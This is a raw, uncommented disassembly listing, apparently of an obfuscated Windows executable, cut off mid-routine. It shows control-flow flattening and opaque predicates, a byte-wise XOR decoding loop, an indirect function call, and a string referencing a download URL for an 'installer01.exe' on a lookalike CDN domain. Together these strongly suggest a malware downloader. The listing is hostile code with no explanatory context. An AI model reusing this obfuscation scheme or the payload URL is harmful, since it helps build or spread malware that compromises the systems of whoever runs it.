lea rcx, [rbp + 0x58]
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x58], 0
mov ecx, 0xc0a8b75b
jmp 0x14000f5bd
mov ecx, 0xdc0c27
jmp 0x14000f5bd
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop dword [rax + rax]
cmp esi, 0x82b39e1a
je 0x14000fc16
cmp esi, 0xe117bf3e
jne 0x14000fb70
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14000fb70
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0x30], rcx
mov rcx, qword [rbp + 0x58]
mov cl, byte [rax + rcx]
mov byte [rbp + 0x70], cl
mov ecx, 0xf43aa75e
jmp 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x8054ff0d
mov edx, 0x92f224e8
jmp 0x14000f5b0
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xd1267ed4
mov edx, 0x72d13063
cmovne ecx, edx
cmp dword [0x14006109c], 0xa
mov edx, 0xd1267ed4
cmovl ecx, edx
jmp 0x14000f5bd
mov ecx, 0x48e6aaec
jmp 0x14000f5bd
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, 0x7b2ba3aa
jmp 0x14000f5bd
cmp ecx, 0x14521f21
jne 0x14000f5bd
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 8], rcx
mov ecx, 0x74187cf8
jmp 0x14000f4a2
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1b146532
mov edx, 0x14328b56
jmp 0x14000f495
mov ecx, 0x41954d33
jmp 0x14000f4a2
cmp ecx, 0xceffa855
jne 0x14000f4a2
mov rdx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov r8, qword [rbp - 0x78]
xor r9d, r9d
call qword [rbp - 0x30]
mov r11d, 0x78700930
mov r10d, 0x14521f21
movabs r9, 0x335a77a93a9c4e4c
movabs r8, 0x36a0fa38eb0b3b73
add rsp, 0x30
mov eax, 0x7a44a304
jmp 0x1400010fd
cmp eax, 0x7e9dbe12
jg 0x14001e8f4
cmp eax, 0x6ee075b2
je 0x14001e9b4
cmp eax, 0x7a44a304
jne 0x1400010fd
mov rax, qword [0x140061050]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x60], rax
mov eax, dword [0x140061080]
mov ecx, dword [0x140061084]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x47]
cmp ecx, 0xa
setl byte [rbp + 0x46]
mov eax, 0x4ab95d49
jmp 0x14000fd76
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfb1171cf
mov ecx, 0x3960e7f1
cmove eax, ecx
cmp dword [0x140061084], 0xa
cmovl eax, ecx
cmp eax, 0x35ed2f78
jg 0x14000ffc0
cmp eax, 0xe28d39c0
jle 0x140010010
cmp eax, 0xfb1171ce
jg 0x14001007b
cmp eax, 0xe28d39c1
je 0x1400102a1
cmp eax, 0xe9c86ef4
jne 0x14000fd76
mov rax, qword [rbp + 0x60]
mov qword [rbp + 8], rax
lea rax, str.https:__cdnjsdelivr.xyz:8443_cSxjIpCb_installer01.exe
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r10d, 0x62439574
mov eax, 0xc5c4e523
cmovne r10d, eax
mov r9d, 0x62439574
mov eax, 0x54254c1a
cmovne r9d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x14000fe80
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x14000fec0
cmp edx, 0x54254c19
jg 0x14000fef0
cmp edx, 0x413ac401
je 0x14000ff4d
cmp edx, 0x4de8461d
je 0x14000ff6c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x14000fe80
mov ecx, esi
jmp 0x14000fe80
cmp edx, 0xd13082ef
jle 0x14000ff20
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x14000fe80
cmp edx, 0xe0d67025
je 0x14000ff81
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x14000fe80
mov ecx, r9d
jmp 0x14000fe80
cmp edx, 0x54254c1a
je 0x14000ff8b
cmp edx, 0x62439574
je 0x14000fe53
mov ecx, edx
cmp edx, 0x76479a56
jne 0x14000fe80
mov ecx, 0x4ec8e6fe
jmp 0x14000fe80
cmp edx, 0x8ceadef2
je 0x14000ffb2
mov ecx, edi
cmp edx, 0x9ce81538
je 0x14000fe80
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x14000fe80
jmp 0x1400102e1
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x14000fe80
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x80], r12
mov ecx, 0x216c1d41
jmp 0x14000fe80
mov ecx, 0x4de8461d
jmp 0x14000fe80
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r10d
jmp 0x14000fe80
mov ecx, 0x9ce81538
jmp 0x14000fe80
cmp eax, 0x6462e802
jg 0x140010050
cmp eax, 0x4ab95d48
jle 0x14001009b
cmp eax, 0x4ab95d49
je 0x140010501
cmp eax, 0x55b56b90
jne 0x14000fd76
cmp byte [rbp + 0x44], 0
mov eax, 0xa105a0bf
mov ecx, 0x35ed2f79
cmovne eax, ecx
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x18], rcx
jmp 0x14000fd76
cmp eax, 0x913fb855
je 0x14001051f
cmp eax, 0xa105a0bf
je 0x140010732
cmp eax, 0xc8f64ff9
jne 0x14000fd76
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov eax, 0xe28d39c1
jmp 0x14000fd76
cmp eax, 0x6462e803
je 0x14000fd50
cmp eax, 0x6daada03
je 0x140010758
cmp eax, 0x7d2a7631
jne 0x14000fd76
mov eax, 0xe9c86ef4
jmp 0x14000fd76
cmp eax, 0xfb1171cf
je 0x140010961
cmp eax, 0xff29f291
jne 0x14000fd76
mov eax, 0x913fb855
jmp 0x14000fd76
cmp eax, 0x3960e7f1
jne 0x14001df23
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140010160
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400101a0
cmp ecx, 0x54254c19
jg 0x1400101d0
cmp ecx, 0x413ac401
je 0x14001022d
cmp ecx, 0x4de8461d
je 0x14001024c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140010160
mov eax, edi
jmp 0x140010160
cmp ecx, 0xd13082ef
jle 0x140010200
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140010160
cmp ecx, 0xe0d67025
je 0x140010265
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140010160
mov eax, r9d
jmp 0x140010160
cmp ecx, 0x54254c1a
je 0x14001026f
cmp ecx, 0x62439574
je 0x140010132
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140010160
mov eax, 0x4ec8e6fe
jmp 0x140010160
cmp ecx, 0x8ceadef2
je 0x140010297
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140010160
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140010160
jmp 0x140010b61
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140010160
lea rax, [r15 + 0x68]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r12
mov eax, 0x216c1d41
jmp 0x140010160
mov eax, 0x4de8461d
jmp 0x140010160
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140010160
mov eax, 0x9ce81538
jmp 0x140010160
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov rax, qword [rbp + 0x28]
add rax, 1
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x30]
cmp rcx, rax
sete byte [rbp + 0x44]
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8f64ff9
mov ecx, 0x55b56b90
jmp 0x14000fd69
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 8]
mov byte [rcx], al
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 1]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r10d, 0x62439574
mov eax, 0xc5c4e523
cmovne r10d, eax
mov r9d, 0x62439574
mov eax, 0x54254c1a
cmovne r9d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x1400103c0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140010400
cmp edx, 0x54254c19
jg 0x140010430
cmp edx, 0x413ac401
je 0x14001048d
cmp edx, 0x4de8461d
je 0x1400104ac
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x1400103c0
mov ecx, esi
jmp 0x1400103c0
cmp edx, 0xd13082ef
jle 0x140010460
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x1400103c0
cmp edx, 0xe0d67025
je 0x1400104c6
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x1400103c0
mov ecx, r9d
jmp 0x1400103c0
cmp edx, 0x54254c1a
je 0x1400104d0
cmp edx, 0x62439574
je 0x14001038d
mov ecx, edx
cmp edx, 0x76479a56
jne 0x1400103c0
mov ecx, 0x4ec8e6fe
jmp 0x1400103c0
cmp edx, 0x8ceadef2
je 0x1400104f7
mov ecx, edi
cmp edx, 0x9ce81538
je 0x1400103c0
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x1400103c0
jmp 0x140010d66
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x1400103c0
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 1]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x1400103c0
mov ecx, 0x4de8461d
jmp 0x1400103c0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r10d
jmp 0x1400103c0
mov ecx, 0x9ce81538
jmp 0x1400103c0
mov cl, byte [rbp + 0x47]
cmp byte [rbp + 0x46], 0
mov eax, 0x6462e803
mov edx, 0xe9c86ef4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14000fd76
mov rax, qword [rbp + 0x10]
mov cl, byte [rbp + 0x45]
mov byte [rax], cl
mov r8, qword [rbp + 0x10]
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x27]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r10, r15
test bl, bl
mov r9d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r9d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x1400105f0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x140010630
cmp ebx, 0x54254c19
jg 0x140010660
cmp ebx, 0x413ac401
je 0x1400106bd
cmp ebx, 0x4de8461d
je 0x1400106dc
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x1400105f0
mov edx, eax
jmp 0x1400105f0
cmp ebx, 0xd13082ef
jle 0x140010690
mov edx, edi
cmp ebx, 0xd13082f0
je 0x1400105f0
cmp ebx, 0xe0d67025
je 0x1400106f6
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x1400105f0
mov edx, r11d
jmp 0x1400105f0
cmp ebx, 0x54254c1a
je 0x140010700
cmp ebx, 0x62439574
je 0x1400105c1
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x1400105f0
mov edx, 0x4ec8e6fe
jmp 0x1400105f0
cmp ebx, 0x8ceadef2
je 0x140010728
mov edx, esi
cmp ebx, 0x9ce81538
je 0x1400105f0
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x1400105f0
jmp 0x140010f81
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x1400105f0
mov qword [rbp + 0x78], r10
lea rdx, [r12 + 0x27]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x1400105f0
mov edx, 0x4de8461d
jmp 0x1400105f0
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r9d
jmp 0x1400105f0
mov edx, 0x9ce81538
jmp 0x1400105f0
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x28], rax
mov eax, dword [0x140061080]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8f64ff9
mov ecx, 0xe28d39c1
jmp 0x14000fd69
movzx r8d, byte [rbp + 0x57]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140010820
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140010860
cmp edx, 0x54254c19
jg 0x140010890
cmp edx, 0x413ac401
je 0x1400108ed
cmp edx, 0x4de8461d
je 0x14001090c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140010820
mov ecx, esi
jmp 0x140010820
cmp edx, 0xd13082ef
jle 0x1400108c0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140010820
cmp edx, 0xe0d67025
je 0x140010926
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140010820
mov ecx, r10d
jmp 0x140010820
cmp edx, 0x54254c1a
je 0x140010930
cmp edx, 0x62439574
je 0x1400107ec
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140010820
mov ecx, 0x4ec8e6fe
jmp 0x140010820
cmp edx, 0x8ceadef2
je 0x140010957
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140010820
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140010820
jmp 0x140011192
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140010820
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2a]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140010820
mov ecx, 0x4de8461d
jmp 0x140010820
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140010820
mov ecx, 0x9ce81538
jmp 0x140010820
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140010a20
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140010a60
cmp ecx, 0x54254c19
jg 0x140010a90
cmp ecx, 0x413ac401
je 0x140010aed
cmp ecx, 0x4de8461d
je 0x140010b0c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140010a20
mov eax, edi
jmp 0x140010a20
cmp ecx, 0xd13082ef
jle 0x140010ac0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140010a20
cmp ecx, 0xe0d67025
je 0x140010b25
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140010a20
mov eax, r9d
jmp 0x140010a20
cmp ecx, 0x54254c1a
je 0x140010b2f
cmp ecx, 0x62439574
je 0x1400109ed
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140010a20
mov eax, 0x4ec8e6fe
jmp 0x140010a20
cmp ecx, 0x8ceadef2
je 0x140010b57
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140010a20
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140010a20
jmp 0x1400113b1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140010a20
lea rax, [r15 + 0x68]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r12
mov eax, 0x216c1d41
jmp 0x140010a20
mov eax, 0x4de8461d
jmp 0x140010a20
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140010a20
mov eax, 0x9ce81538
jmp 0x140010a20
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140010c20
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140010c60
cmp ecx, 0x54254c19
jg 0x140010c90
cmp ecx, 0x413ac401
je 0x140010ced
cmp ecx, 0x4de8461d
je 0x140010d0c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140010c20
mov eax, edi
jmp 0x140010c20
cmp ecx, 0xd13082ef
jle 0x140010cc0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140010c20
cmp ecx, 0xe0d67025
je 0x140010d2a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140010c20
mov eax, r9d
jmp 0x140010c20
cmp ecx, 0x54254c1a
je 0x140010d34
cmp ecx, 0x62439574
je 0x140010bfa
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140010c20
mov eax, 0x4ec8e6fe
jmp 0x140010c20
cmp ecx, 0x8ceadef2
je 0x140010d5c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140010c20
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140010c20
jmp 0x1400115b6
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140010c20
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 1]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140010c20
mov eax, 0x4de8461d
jmp 0x140010c20
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140010c20
mov eax, 0x9ce81538
jmp 0x140010c20
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x48]
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 2]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r10d, 0x62439574
mov eax, 0xc5c4e523
cmovne r10d, eax
mov r9d, 0x62439574
mov eax, 0x54254c1a
cmovne r9d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140010e40
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140010e80
cmp edx, 0x54254c19
jg 0x140010eb0
cmp edx, 0x413ac401
je 0x140010f0d
cmp edx, 0x4de8461d
je 0x140010f2c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140010e40
mov ecx, esi
jmp 0x140010e40
cmp edx, 0xd13082ef
jle 0x140010ee0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140010e40
cmp edx, 0xe0d67025
je 0x140010f46
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140010e40
mov ecx, r9d
jmp 0x140010e40
cmp edx, 0x54254c1a
je 0x140010f50
cmp edx, 0x62439574
je 0x140010e0b
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140010e40
mov ecx, 0x4ec8e6fe
jmp 0x140010e40
cmp edx, 0x8ceadef2
je 0x140010f77
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140010e40
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140010e40
jmp 0x1400117c6
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140010e40
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 2]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140010e40
mov ecx, 0x4de8461d
jmp 0x140010e40
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r10d
jmp 0x140010e40
mov ecx, 0x9ce81538
jmp 0x140010e40
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x58]
movzx r10d, byte [rax + 0x28]
